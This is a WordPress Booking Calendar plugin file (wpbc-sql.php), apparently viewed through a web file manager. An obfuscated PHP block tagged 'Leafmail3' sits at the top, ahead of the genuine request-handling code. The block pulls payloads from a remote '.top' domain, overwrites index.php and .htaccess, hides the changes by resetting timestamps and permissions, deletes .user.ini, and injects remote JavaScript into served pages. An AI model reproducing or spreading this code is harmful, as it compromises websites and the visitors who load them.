trAvis - MANAGER
Edit File: wpbc-sql.php
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * @version 1.0 * @package Booking Calendar * @category Data Engine for Booking Listing / Calendar Overview pages * @author wpdevelop * * @web-site https://wpbookingcalendar.com/ * @email info@wpbookingcalendar.com * * @modified 2015-12-08 */ if ( ! defined( 'ABSPATH' ) ) exit; // Exit, if accessed directly /** Trick here to overload default REQUST parameters before page is loading */ function wpbc_define_listing_page_parameters( $page_tag ) { // $page_tag - here can be all defined in plugin menu pages // So we need to check activated page. By default its inside of $_GET['page'], // Execute it only for Booking Listing & Timeline admin pages. //if ( ( isset( $_GET[ 'page' ] ) ) && ( $_GET[ 'page' ] == 'wpbc' ) ) { if ( wpbc_is_bookings_page() ) { // We are inside of this page. Menu item selected. if ( ( isset( $_REQUEST['view_mode'] ) ) && ( 'vm_booking_listing' === $_REQUEST['view_mode'] ) ) { //FixIn: 9.2.0 return; } $booking_default_view_mode = wpbc_get_default_saved_view_mode_for_wpbc_page(); if ( ! isset( $_REQUEST['view_mode'] ) ) { $_REQUEST['view_mode'] = $booking_default_view_mode; // Set to REQUEST } // Get saved filters set, (if its not set in request yet), like "tab" & "view_mode" and overload $_REQUEST wpbc_set_default_saved_params_to_request_for_booking_listing( 'default' ); } } // We are set 9 to execute earlier than hook in WPBC_Admin_Menus add_action('wpbc_define_nav_tabs', 'wpbc_define_listing_page_parameters', 1 ); // This Hook fire in the class WPBC_Admin_Menus for showing page content of specific menu //////////////////////////////////////////////////////////////////////////////// // R e q u e s t S u p p o r t //////////////////////////////////////////////////////////////////////////////// /** * Get here default View mode saved in a General Booking Settings page or From REQUEST view_mode * * @return string = 'vm_calendar' | 'vm_booking_listing' */ function wpbc_get_default_saved_view_mode_for_wpbc_page() { if ( ! isset( $_REQUEST['view_mode'] ) ) { $booking_default_view_mode = get_bk_option( 'booking_listing_default_view_mode' ); } else { $booking_default_view_mode = $_REQUEST['view_mode']; } //$booking_default_view_mode='vm_listing'; //TODO:2023-05-20 remove it!!!!!! if ( ! in_array( $booking_default_view_mode, array( 'vm_calendar', 'vm_booking_listing' ) ) ) { //FixIn: 9.2.1 //FixIn: 9.6.3.5 $booking_default_view_mode = 'vm_booking_listing'; } $booking_default_view_mode = ( 'vm_listing' == $booking_default_view_mode ) ? 'vm_booking_listing' : $booking_default_view_mode; //FixIn: 9.6.3.5 return $booking_default_view_mode; // 'vm_calendar' / 'vm_booking_listing' ; } /** * Get from SETTINGS (if its not set in request yet) the "tab" & "view_mode" and set to $_REQUEST If we have the "saved" filter set so LOAD it and set to REQUEST, if REQUEST was not set previously & skip "wh_booking_type" from the saved filter set * * @param string $filter_name - name of saved filter set. Currntly is using only one "Default" */ function wpbc_set_default_saved_params_to_request_for_booking_listing( $filter_name ) { //debuge($_REQUEST); // Exclude some parameters from the saved Default parameters - the values of these parameters are loading from General Booking Settings page or from the request. $exclude_options_from_saved_params = array( 'tab' // Default , 'page' // From plugin , 'view_mode' // Default , 'wh_booking_type' // Default , 'view_days_num' // Default , 'blank_field__this_field_only_for_formatting_buttons' // Skip this, this parameter for formating purpose in toolbar ); $wpdevbk_filter_params = array(); // Get here default View mode saved in a General Booking Settings page $booking_default_view_mode = wpbc_get_default_saved_view_mode_for_wpbc_page(); if ( !isset( $_REQUEST['view_mode'] ) ) $wpdevbk_filter_params['view_mode'] = $booking_default_view_mode; // 'vm_calendar' / 'vm_booking_listing' ; $_REQUEST['view_mode'] = $booking_default_view_mode; // Set to REQUEST // if ( !isset( $_REQUEST['view_mode'] ) ) { // $booking_default_view_mode = get_bk_option( 'booking_listing_default_view_mode' ); // if ( $booking_default_view_mode !== false ) { // $wpdevbk_filter_params['view_mode'] = $booking_default_view_mode; // 'vm_calendar' / 'vm_booking_listing' ; // $_REQUEST['view_mode'] = $booking_default_view_mode; // Set to REQUEST // } else // $_REQUEST['view_mode'] = 'vm_booking_listing'; // } // Get here default view_days_num if ( !isset( $_REQUEST['view_days_num'] ) ) { $booking_view_days_num = get_bk_option( 'booking_view_days_num' ); if ( $booking_view_days_num !== false ) { $wpdevbk_filter_params['view_days_num'] = $booking_view_days_num; // '30' $_REQUEST['view_days_num'] = $booking_view_days_num; } else $_REQUEST['view_days_num'] = '365'; } } /** * Clean Request Parameters * */ function wpbc_check_request_paramters() { //FixIn:6.2.1.4 //debuge($_REQUEST); $clean_params = array(); $clean_params['wh_booking_id'] = 'digit_or_csd'; if ( ( ! empty( $_REQUEST['wh_booking_type'] ) ) && ( 'lost' == $_REQUEST['wh_booking_type'] ) ) { //FixIn: 8.5.2.19 $clean_params['wh_booking_type'] = 'checked_skip_it'; } else { $clean_params['wh_booking_type'] = 'digit_or_csd'; } if ( ( ! empty( $_REQUEST['booking_type'] ) ) && ( 'lost' == $_REQUEST['booking_type'] ) ) { //FixIn: 8.9.2.1 $clean_params['booking_type'] = 'checked_skip_it'; } else { $clean_params['booking_type'] = 'digit_or_csd'; } $clean_params['wh_approved'] = 'digit_or_csd'; // '0' | '1' | '' $clean_params['wh_booking_date'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_booking_date2'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_booking_datenext'] = 'd'; // '1' | '2' .... $clean_params['wh_booking_dateprior'] = 'd'; // '1' | '2' .... $clean_params['wh_booking_datefixeddates'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_booking_date2fixeddates'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_is_new'] = 'd'; // '1' | '' $clean_params['wh_modification_date'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_modification_date2'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_modification_dateprior'] = 'd'; // '1' | '2' .... $clean_params['wh_modification_datefixeddates'] = 'digit_or_date'; // number | date 2016-07-20 $clean_params['wh_modification_date2fixeddates']= 'digit_or_date'; // number | date 2016-07-20 